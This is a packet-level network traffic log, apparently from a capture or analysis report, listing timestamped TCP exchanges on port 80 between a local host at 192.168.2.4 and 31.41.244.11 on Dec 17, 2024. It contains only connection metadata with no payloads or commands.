Dec 17, 2024 22:06:27.562319994 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.562385082 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.562443972 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.563127041 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.563179016 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.563240051 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.563287973 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.563919067 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.564002037 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.564029932 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.564088106 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.564783096 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.564830065 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.565011978 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.565047979 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.565584898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.565639973 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.565696001 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.565737009 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.566433907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.566535950 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.566826105 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.567303896 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.567348003 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.567424059 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.567471027 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.568115950 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.568164110 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.568228960 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.568331003 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.568962097 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.569010019 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.569070101 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.569535971 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.569819927 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.569884062 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.569946051 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.569993973 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.570647955 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.570703030 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.570765972 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.570913076 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.571504116 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.571557999 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.571562052 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.571605921 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.572349072 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.572474003 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.572474003 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.572554111 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.573225975 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.573270082 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.573339939 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.574034929 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.574091911 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.574147940 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.574203014 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.574872971 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.574917078 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.574974060 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.575016022 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.575696945 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.575735092 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.575818062 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.575886965 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.576550007 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.576598883 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.576637030 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.576726913 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.577393055 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.577548027 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.577599049 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.578305006 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.578387976 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.578425884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.578479052 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.579096079 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.579241037 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.579278946 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.579907894 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.579967976 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.580045938 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.580084085 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.580943108 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.581048965 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.581096888 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.581675053 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.581810951 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.581857920 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.582494020 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.582534075 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.582546949 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.582583904 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.583277941 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.583334923 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.583412886 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.583637953 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.584197998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.584247112 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.584252119 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.584290981 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.584990025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.585040092 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.585115910 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.585165977 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.585824966 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.585949898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.585990906 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.586622953 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.586725950 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.586770058 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.587519884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.587559938 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.587630987 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.587748051 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.588361025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.588402987 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.588464022 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.588535070 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.589169025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.589220047 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.589282036 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.589323997 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.590032101 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.590075970 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.590137005 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.590173960 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.590878963 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.590938091 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.591042042 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.591082096 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.591763020 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.591803074 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.591816902 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.591862917 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.592647076 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.592688084 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.592827082 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.592869043 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.593453884 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.593491077 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.593624115 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.593666077 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.594317913 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.594352961 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.594358921 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.594400883 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.595191956 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.595236063 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.595299006 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.595381975 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.595977068 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.596019030 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.596102953 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.596148968 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.596755028 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.596796036 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.596946001 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.596987963 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.597662926 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.597706079 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.597716093 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.597754955 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.598448038 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.598483086 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.598500013 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.598539114 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.599335909 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.599375010 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.599450111 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.599494934 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.600151062 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.600193024 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.600265980 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.600306034 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.600997925 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.601058960 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.601120949 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.601160049 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.601876020 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.601948977 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.602004051 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.602041960 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.602807045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.602844000 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.602926016 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.602986097 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.603558064 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.603615046 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.603693008 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.603766918 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.604360104 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.604418039 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.604484081 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.604536057 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.605221987 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.605258942 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.605319977 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.605360985 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.606021881 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.606070042 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.753982067 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.754060984 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.754187107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.754268885 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.754327059 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.754376888 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.754483938 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.754539967 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.755290031 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.755342007 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.755366087 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.755408049 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.756035089 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.756083965 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.756283045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.756330967 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.756369114 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.756422043 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.757200003 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.757246971 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.757288933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.757340908 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.758033037 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.758091927 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.758169889 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.758214951 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.758821964 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.758869886 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.758932114 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.758976936 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.759694099 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.759738922 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.759805918 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.759870052 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.760481119 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.760525942 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.760648966 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.760723114 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.761367083 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.761411905 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.761488914 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.761537075 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.762187958 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.762240887 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.762288094 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.762331963 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.763070107 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.763114929 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.763163090 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.763205051 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.763937950 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.763983965 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.764046907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.764090061 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.764719009 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.764761925 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.764816999 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.764858961 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.765562057 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.765609026 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.765626907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.765669107 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.766402960 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.766446114 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.766554117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.766599894 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.767375946 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.767420053 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.767453909 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.767498970 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.768126965 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.768172979 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.768255949 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.768302917 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.768953085 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.769001007 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.769062042 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.769104958 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.769785881 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.769829988 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.769941092 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.769985914 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.770601988 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.770648003 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.770654917 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.770699978 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.771456957 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.771512032 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.771589041 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.771634102 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.772316933 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.772365093 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.772442102 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.772486925 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.773147106 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.773207903 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.773266077 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.773309946 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.773993015 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.774039030 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.774044991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.774085999 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.774856091 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.774905920 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.774993896 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.775039911 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.775768995 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.775820017 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.775881052 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.775928020 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.776490927 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.776535034 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.776595116 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.776640892 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.777358055 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.777401924 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.777435064 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.777478933 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.778255939 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.778299093 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.778374910 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.778426886 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.779020071 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.779066086 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.779128075 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.779174089 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.779898882 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.779963970 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.780072927 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.780112982 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.780745983 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.780790091 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.780850887 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.780899048 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.781569004 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.781616926 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.781692028 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:27.781735897 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:27.782433987 CET	80	49793	31.41.244.11	192.168.2.4
